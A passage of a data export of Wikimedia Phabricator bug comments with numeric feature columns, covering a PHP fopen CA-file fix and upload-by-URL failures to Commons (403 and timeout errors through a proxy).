[[https://gerrit.wikimedia.org/r/237002]]",,,1441933387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,3.8461538461538463,0.9230769230769231,"Change 237002 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]"
524932,PhpHttpRequest requires a certificate repository,"Change 237003 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/237003]]",,,1441932877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,3.8461538461538463,0.9230769230769231,"Change 237003 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]"
524931,PhpHttpRequest requires a certificate repository,"Change 237000 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/237000]]",,,1441932802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,3.8461538461538463,0.9230769230769231,"Change 237000 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]"
523130,PhpHttpRequest requires a certificate repository,"Change 237003 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/237003]]
",,,1441759480,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.84375,0.90625,"Change 237003 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]
"
523129,PhpHttpRequest requires a certificate repository,"Change 237002 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/237002]]
",,,1441759463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.84375,0.90625,"Change 237002 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]
"
523127,PhpHttpRequest requires a certificate repository,"Change 237000 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/237000]]
",,,1441759423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.84375,0.90625,"Change 237000 had a related patch set uploaded (by Gergő Tisza):
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]
"
522967,PhpHttpRequest requires a certificate repository,"Change 222079 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/222079]]",,,1441744463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,3.8461538461538463,0.9230769230769231,"Change 222079 merged by jenkins-bot:
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]"
517413,PhpHttpRequest requires a certificate repository,"[[ http://stackoverflow.com/a/22004120/323407 | This Stackoverflow answer ]] (written by a PHP dev who works on SSL issues) is a good summary of the situation. Some highlights:
* PHP pre-5.6 does not support Windows certfiles for SSL (cannot handle the format)
* PHP 5.6 supports OS cert files (both Linux and Windows) which means it will actually be better than curl (which comes with bundled root certs and is less up to date)

Also, PHP 5.6 got a huge SSL update in general. So we might want to revisit our decision to prefer libcurl when available.

Unrelated to this task but the TLS defaults RFC has [[ https://wiki.php.net/rfc/improved-tls-defaults#tldr_definitive_progress | an example ]] for sending secure requests in old PHP which includes setting `'disable_compression' => true` (to prevent [[ https://en.wikipedia.org/wiki/CRIME | CRIME ]] I presume), which we don't.",,,1440970396,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,True,,,8,True,0.5,0.0,0.0,0.0,1.5,4.5,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,2.5,0.0,4.5,8.5,0.0,2.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.5,0.0,6.5,1.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,14.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.5,1.0,0.0,4.0,1.5,14.5,0.5,2.0,7.5,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,3.0,8.5,8.0,0.0,0.0,0.0,3.0,0.0,3.5,2.0,0.0,1.0,1.0,0.0,3.0,3.5880006022282447,0.754516711833785,"[[ URL | This Stackoverflow answer ]] (written by a PHP dev who works on SSL issues) is a good summary of the situation. Some highlights:
* PHP pre-5.6 does not support Windows certfiles for SSL (cannot handle the format)
* PHP 5.6 supports OS cert files (both Linux and Windows) which means it will actually be better than curl (which comes with bundled root certs and is less up to date)

Also, PHP 5.6 got a huge SSL update in general. So we might want to revisit our decision to prefer libcurl when available.

Unrelated to this task but the TLS defaults RFC has [[ URL | an example ]] for sending secure requests in old PHP which includes setting CODE (to prevent [[ URL | CRIME ]] I presume), which we don't."
514846,PhpHttpRequest requires a certificate repository,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...,,,1440592195,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,10.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,17.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9310344827586206,0.9655172413793104,Is this ready to merge? into upcoming point releases?  we're basically way overdue for giving up on clients that can't do basic HTTPS...
484796,PhpHttpRequest requires a certificate repository,"Change 222079 had a related patch set uploaded (by Brian Wolff):
Use system default location for cafile when using php fopen.

[[https://gerrit.wikimedia.org/r/222079]]
",,,1435740180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,3.84375,0.90625,"Change 222079 had a related patch set uploaded (by Brian Wolff):
Use system default location for cafile when using php fopen.

[[GERRIT_URL]]
"
484770,PhpHttpRequest requires a certificate repository,"Starting with php 5.6 we have the nice openssl_get_cert_locations() function... but that doesn't help us on older versions.

I think we should just check if /etc/ssl/certs exists (and whatever other common places exist) and use that

http://www.docnet.nu/tech-portal/2014/06/26/ssl-and-php-streams-part-1-you-are-doing-it-wrongtm/C0 is also interesting reading.

Maybe we should ""encourage"" people to instal php5-curl in the installer. fopen support for ssl is so borked...",,,1435737098,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-neaemyzql6ookm3j22rm,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,1.0,10.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,6.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,4.0,5.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.0,9.0,2.0,0.0,2.0,0.0,6.0,0.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,4.0375,0.7875,"Starting with php 5.6 we have the nice openssl_get_cert_locations() function... but that doesn't help us on older versions.

I think we should just check if /etc/ssl/certs exists (and whatever other common places exist) and use that

URL is also interesting reading.

Maybe we should ""encourage"" people to instal php5-curl in the installer. fopen support for ssl is so borked..."
75200,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I just tried to upload 

http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm

using https://commons.wikimedia.org/wiki/Special:Upload as well as via API

(I have ""upload_by_url"" userright enabled).


Request URL:

https://commons.wikimedia.org/w/api.php?action=upload&format=json

POST data from API sandbox:

filename=Test%20test.webm&comment=Test%20bug%2072897&url=http%3A%2F%2Ftools.wikimedia.pl%2F~odder%2Fwhitehouse%2F41d5129de542285b6c62.webm&token=d27ea41fb633146835d1a2d1e962f37e545f9bd9%2B%5C

Result:

{
    ""servedby"": ""mw1139"",
    ""error"": {
        ""code"": ""http-bad-status"",
        ""info"": ""Error fetching file from remote source"",
        ""0"": ""403"",
        ""1"": ""Forbidden"",
        ""*"": ""See https://commons.wikimedia.org/w/api.php for API usage""
    }
}

Log entry on the tools.wikimedia.pl server:

tools.wikimedia.pl 208.80.xxx.yyy - - [09/Nov/2014:18:03:30 +0100] ""GET /~odder/whitehouse/41d5129de542285b6c62.webm HTTP/1.1"" 200 932365538 ""-"" ""MediaWiki/1.25wmf6"" 

so MediaWiki gets 200 from the origin server

--------------------------
**Version**: 1.25-git
**Severity**: normal
**URL**: https://commons.wikimedia.org/w/api.php?action=upload&format=json",Medium,50.0,1415552700,1441081095.0,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-USER-qduasitr62ffvc5eiivd,False,PHID-TASK-7vmh7lmz7syayu6w7nab,task_description,resolved,True,c3,1,True,True,True,-34,True,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.6666666666666666,2.6666666666666665,7.666666666666667,0.0,12.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,4.242756804214223,0.546678372841674,"I just tried to upload 

URL

using URL as well as via API

(I have ""upload_by_url"" userright enabled).


Request URL:

URL

POST data from API sandbox:

filename=Test%20test.webm&comment=Test%20bug%2072897&url=http%3A%2F%2Ftools.wikimedia.pl%2F~odder%2Fwhitehouse%2F41d5129de542285b6c62.webm&token=d27ea41fb633146835d1a2d1e962f37e545f9bd9%2B%5C

Result:

{
    ""servedby"": ""mw1139"",
    ""error"": {
        ""code"": ""http-bad-status"",
        ""info"": ""Error fetching file from remote source"",
        ""0"": ""403"",
        ""1"": ""Forbidden"",
        ""*"": ""See URL for API usage""
    }
}

Log entry on the tools.wikimedia.pl server:

tools.wikimedia.pl 208.80.xxx.yyy - - [09/Nov/2014:18:03:30 +0100] ""GET /~odder/whitehouse/41d5129de542285b6c62.webm HTTP/1.1"" 200 932365538 ""-"" ""MediaWiki/1.25wmf6"" 

so MediaWiki gets 200 from the origin server

--------------------------
**Version**: 1.25-git
**Severity**: normal
**URL**: URL"
518168,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Timeout issues (if any) belong to the different bug I think.

An attempt to upload https://archive.org/download/HansMoserUmEineNasenlaenge/Um_eine_Nasenlaenge_1949_Hans_Moser.ogv (356843452 bytes) results in:

```
{""servedby"":""mw1136"",""error"":{""code"":""http-timed-out"",
   ""info"":""Error fetching file from remote source"",
   ""0"":""http://tools.wikimedia.pl/~saper/Um_eine_Nasenlaenge_1949_Hans_Moser.ogv"",
   ""*"":""See https://commons.wikimedia.org/w/api.php for API usage""}}
```
",,,1441081324,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,3,True,,,8,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,15.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.2058823529411766,0.7941176470588235,"Timeout issues (if any) belong to the different bug I think.

An attempt to upload URL (356843452 bytes) results in:

``CODE``
"
470114,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,">>! In T75200#1173463, @Steinsplitter wrote:

> The orginal file (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.

Sorry  about this, guys; I wasn't aware that a video that I transcoded was being used to test a bug.

I have absolutely no idea what it was (the file name suggests it might have been a Barack Obama speech), and cannot find it right now, but I can upload a new one of around the same size for you to test on if that helps.",,,1433538286,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-4,True,0.0,0.0,1.0,2.0,2.0,4.0,2.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,4.0,0.0,0.0,4.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,7.0,6.0,11.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,10.0,11.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3048780487804876,0.7195121951219512,"QUOTE

QUOTE

Sorry  about this, guys; I wasn't aware that a video that I transcoded was being used to test a bug.

I have absolutely no idea what it was (the file name suggests it might have been a Barack Obama speech), and cannot find it right now, but I can upload a new one of around the same size for you to test on if that helps."
437135,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I tested uploading:
* https://commons.wikimedia.org/wiki/File:Test_T75200.png (small file)
* https://commons.wikimedia.org/wiki/File:Other_test_videoupload.ogv (1,920 × 1,080 (127.19 MB))

from pl toolserver. Works fine.

The orginal file (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.",,,1427975470,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.6888888888888889,"I tested uploading:
* URL (small file)
* URL (1,920 × 1,080 (127.19 MB))

from pl toolserver. Works fine.

The orginal file (URL has been deleted. Can't reproduce."
437134,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"I tested uploading:
* https://commons.wikimedia.org/wiki/File:Test_T75200.png (small file)
* https://commons.wikimedia.org/wiki/File:Other_test_videoupload.ogv (1,920 × 1,080 (127.19 MB))

from pl toolserver. Works fine.

The orgina files (http://tools.wikimedia.pl/~odder/whitehouse/41d5129de542285b6c62.webm) has been deleted. Can't reproduce.",,,1427975433,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-13,True,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.7111111111111111,"I tested uploading:
* URL (small file)
* URL (1,920 × 1,080 (127.19 MB))

from pl toolserver. Works fine.

The orgina files (URL has been deleted. Can't reproduce."
436392,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"thanks @saper, I'm not sure there's anything else from operations @tgr ? perhaps if download-by-url times out the regular upload can be suggested to the user or sth like that",,,1427877882,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,9.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,17.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.485714285714286,0.9428571428571428,"thanksSCREEN_NAME, I'm not sure there's anything else from operationsSCREEN_NAME ? perhaps if download-by-url times out the regular upload can be suggested to the user or sth like that"
436158,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Last time I tried was when I commented on this bug - it just timed out probably due to transfer time required.

I don't even have the original video now.",,,1427838106,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,18.0,12.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.676470588235294,0.8823529411764706,"Last time I tried was when I commented on this bug - it just timed out probably due to transfer time required.

I don't even have the original video now."
435819,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,what's the status on this btw? did the upload eventually succeeded ?,,,1427811843,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.071428571428571,0.8571428571428571,what's the status on this btw? did the upload eventually succeeded ?
322447,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Tisza Gergő from comment #14)
> (In reply to Bawolff (Brian Wolff) from comment #11)
> > Its a proxy squid server in between the api and the rest of the internet. I
> > dont think mw has any way of knowing it hit a file too big instead of legit
> > 403.
> 
> We are talking about a squid operated by WM-PL, right? AFAIK wikimedia.pl is
> not WMF-hosted.

No, we are talking about url-downloader.wikimedia.org proxy. I believe the proxy is used as a security measure (not 100% sure against what, but isolating user trigerrable http downloads is probably just a goodvidea in general)

> The deeper issue is, then, that we don't have a method for upload-by-url
> that's not limited by the timeout (unlike normal uploads, where we have the
> chunked upload API)?

